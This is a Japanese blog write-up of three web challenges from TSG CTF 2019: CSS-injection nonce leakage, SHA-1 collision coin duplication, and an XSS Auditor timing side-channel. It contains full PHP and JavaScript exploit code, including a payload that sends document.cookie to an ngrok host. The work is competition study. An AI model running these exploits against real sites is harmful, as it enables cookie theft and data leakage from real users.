NaruseJunのメモ帳

NaruseJunがいろいろ書いてる

TSG CTF write-up (Web) #tsg_ctf

2019-05-05 日記

TSG CTFにチームNaruseJunで出ました。4099ptsを獲得して3位でした。
私はWeb問のみを解きました。以下write-upです。

BADNONCE Part 1 (247pts)

CSPが有効になっているページでXSSしてCookieを盗ってください、という問題でした。

<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">

問題名が BADNONCE なので明らかにnonceの実装が悪そうです。
実際、以下のようにセッションIDに対してnonceが固定なので、これが漏れるとXSSが可能になります。

session_start();
$nonce = md5(session_id());

件のnonceは、ページ内の要素の属性として存在しています。

<script nonce=<?= $nonce ?>>
				console.log('Welcome to the dungeon :-)');
</script>

ところで、このページではscript-srcのみ制限されているので、たとえばスタイルシートなどは外部ソースから読み込み放題です。
したがって、CSS Injectionが可能です。セレクタを工夫することによって、要素の属性値を特定することができますね。

【参考リンク】
CSS Injection 再入門 – やっていく気持ち
https://diary.shift-js.info/css-injection/

ただし、管理者のブラウザを模したクローラは、毎回異なるPHPSESSIDを持つため、1度の起動で最後までnonceを抜きとって、XSSを踏ませるところまでやらないといけません。
ちょっと面倒ですが、管理者に攻撃車が用意したURLをIFRAMEで開き続けるページを踏ませて、InjectするCSSを変えながら、最終的にXSSを発火させるようにしました。
以下のような実装になりました。Web問のExploitにしてはちょっと重めかも。もっと頭のいい方法が存在する可能性もあり。

<?php
	if (array_key_exists("save", $_GET)) {
		file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
	}
	else if (array_key_exists("nonce", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < strlen($_GET["nonce"])) {
			file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
		}
	}
	else if (array_key_exists("css", $_GET)) {
		header("Content-Type: text/css");
		echo("script { display: block }" . PHP_EOL);

		$nonce = file_get_contents("nonce.txt");
		$chars = str_split("0123456789abcdef");

		foreach ($chars as $c1) {
			foreach ($chars as $c2) {
				$x = $nonce . $c1 . $c2;
				echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
			}
		}
	}
	else if (array_key_exists("go", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < 32) {
			header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
		}
		else {
			header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
		}
	}
	else if (array_key_exists("start", $_GET)) {
		file_put_contents("nonce.txt", "", LOCK_EX);
		file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
	setInterval(() => {
		const iframe = document.createElement("iframe");
		iframe.src = `?go=${(new Date).getTime()}`;
		document.body.appendChild(iframe);
	}, 256);
</script>
</body>
</html>
<?php
	}
	else {
		echo("E R R O R !");
	}
?>

Secure Bank (497pts)

rubyで書かれたアプリケーションで、コインの送受信ができます。
たくさんのコインを集めれば、FLAGが入手できるようです。

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

怪しいのは送金コードで、こういう形。

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end

ぱっと見たところ、トランザクションを考慮していないので、高頻度でリクエストを飛ばせばRace Conditionで二重送金ができそうだったんですが、軽く試したところ、タイミングがシビアでほとんどうまくいかなかったので、この方針は諦めました。

ところで、このコードをもう少しよく見ると、宛先と送金元が同一のユーザであったとき、コインが増殖することは明らかです。
もちろん、自分自身への送金はエラーになる実装となっているんですが、残高の照会をユーザ名をハッシュした値で行っているのに対して、ユーザの同一性判定は元の文字列で行っています。
つまりは、別の文字列であって、SHA1ハッシュの結果が同一になる文字列の組がもし存在すれば、無限にコインを増やすことができそうです。

SHA1の衝突といえば……SHAtteredですよね。
詳しい理屈はググってもらうとして、これを用いれば、先に述べた要件を満たすような文字列(というかバイト列)の組が用意できます。

JSONとしてnon-printableな文字を送る際に破壊されないように注意しつつ、以下のようにして用意しました。

<?php
	$s1 = file_get_contents("shattered-1.pdf");
	$s2 = file_get_contents("shattered-2.pdf");

	$t1 = substr($s1, 0, 320) . "narusejun";
	$t2 = substr($s2, 0, 320) . "narusejun";

	echo(sha1($t1) . PHP_EOL);
	echo(sha1($t2) . PHP_EOL);

	function toStr($c) {
		$i = ord($c);
		if ($c == '"') {
			return '\\"';
		}
		if ($c == '%') {
			return '%%';
		}
		if ($i < 0x20) {
			return sprintf("\\u%04x", $i);
		}
		if ($i < 0x7F) {
			return $c;
		}
		return sprintf("\\x%02x", ord($c));
	}
	$u1 = implode(array_map(toStr, str_split($t1)));
	$u2 = implode(array_map(toStr, str_split($t2)));

	echo($u1 . PHP_EOL);
	echo($u2 . PHP_EOL);
?>

この文字列のどちらかを使って登録した上で、もう一方の文字列を宛先として指定して送金すると、コインが増殖します。
curlを使うと容易です。

RECON (500pts)

Web問です。PHPで実装された、プロフィールを登録できるサービスです。
秘密の質問として20種類のフルーツが好きか否かを選択できるようになっていて、どうやらadminの好きなフルーツをRECONすれば良いみたいです。

ソースコードを見ると、自身のプロフィールを確認するページで露骨にCSPが弱められていて、怪しさがあります。

$response->withHeader("Content-Security-Policy", "script-src-elem 'self'; script-src-attr 'unsafe-inline'; style-src 'self'")

この要素は新しい機能なので、script-src-elemscript-src-attrが効いていなくて、実質XSSし放題になっているようでした。
しかしながら、このページはログインしたユーザ自身のプロフィールを表示するものですので、狙った相手にコードを実行させるのは厳しそうな雰囲気があります。

ところで、そもそも何故script-src-attrなどという特殊な(?)制限が付されているのでしょうか?
この答えは、このページのソースを注意深く見るとすぐに気が付きました。

🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=false;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=false;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" >

秘密の質問がプロフィールページに表示されているんですが、この変更を禁止する目的でJavaScriptが用いられているのでした!
このコードのみ実行できるようにする目的で、部分的なunsafe-inlineが許容されていたようです。

もし、この小さなJavaScriptコードを盗むことができれば、adminの好きなフルーツを知ることできそうです。
このページでは、X-XSS-Protection: 1; mode=blockというヘッダが送信されていて、XSS Auditorがブロックモードで動作することが期待されていて、adminのブラウザもこれに従っているでしょう。
こういう場合に、XSS Auditorの誤検出を利用して、ページ内のスクリプトを盗む手法が存在します。

【参考リンク】
ブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog
https://www.mbsd.jp/blog/20160407_2.html

これを利用できそうです。(できました。)
以下のような2つのIFRAMEを表示させれば、どちらか一方をXSS Auditorがブロックするはずです。

<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=true;"'></iframe>
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=false;"'></iframe>

この性質を利用し、攻撃者のページで2つのIFRAMEを開かせて、どちらがブロックされたかを判別すれば良いですね。
IFRAME要素のcontentWindow.lengthを見ると、XSS Auditorが作動したか否かを簡単に判別できるようでしたが、手元で試したときに何故かうまくいかなかったので(これは勘違いだったかもしれませんが)、onloadが発火するまでの時間を計測するちょっと面倒な方法で判別しています。
XSS Auditorが作動すると、関連リソースの読み込みが走らないので、onloadが早く呼ばれるはずです。

以下のように実装し、IFRAMEをプロフィールに埋め込んで、adminにアクセスさせました。
JavaScriptの記法モダンだったりレガシーだったりしていて、気持ち悪いんですが、終了ギリギリで解いていたためいろいろ焦っていて、見当違いの試行錯誤をしていた名残です。

<?php
	if(array_key_exists("save", $_GET)){
		file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
		echo("OK!");
	}else{
?>
<html>
<body>
<script>

function test(key, val){
	return new Promise(function(resolve){
		const iframe = document.createElement("iframe");
		iframe.onload = function(){
			iframe.remove();
			resolve([key, val, new Date().getTime() - time]);
		};
		iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
		const time = new Date().getTime();
		document.body.appendChild(iframe);
	});
}

(async () => {
	const results = [];
	for(let i = 0; i < 1; i++){
		results.push([
			await test("mushroom", true),
			await test("mushroom", false),
		]);
	}
	location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
	}
?>

これを用いて、フルーツ1種類ごとに計測した結果が以下のとおりです。
Captchaを連打する必要があって、激ツラかったです。チームメイトにひたすらCaptchaしてもらいました。(もっと頭の良い実装をすればよかった気もしますが。)

フルーツ trueのonload(ms) falseのonload(ms) 判定結果
grapes 84 334 TRUE
melon 347 65 FALSE
watermelon 245 47 FALSE
tangerine 78 394 TRUE
lemon 83 418 TRUE
banana 73 255 TRUE
pineapple 79 452 TRUE
pear 252 48 FALSE
peach 74 281 TRUE
cherries 76 336 TRUE
strawberry 79 318 TRUE
tomato 77 353 TRUE
coconut 77 333 TRUE
mango 92 404 TRUE
avocado 254 47 FALSE
aubergine 85 333 TRUE
potato 249 46 FALSE
carrot 72 321 TRUE
broccoli 428 40 FALSE
mushroom 87 388 TRUE

あとは、この結果を用いてadminのrecoveryメッセージ(FLAG)を表示させることができました。

総括

Web問しか触っていないので他のジャンルはわかりかねますが、良い問題でした。

  • 誘導が適切で、guessが最小限で済んだ
  • 扱っているテーマも面白いものだった

おわりです。
なんか💰を貰えるらしいので、焼肉にでも行きたいです🐦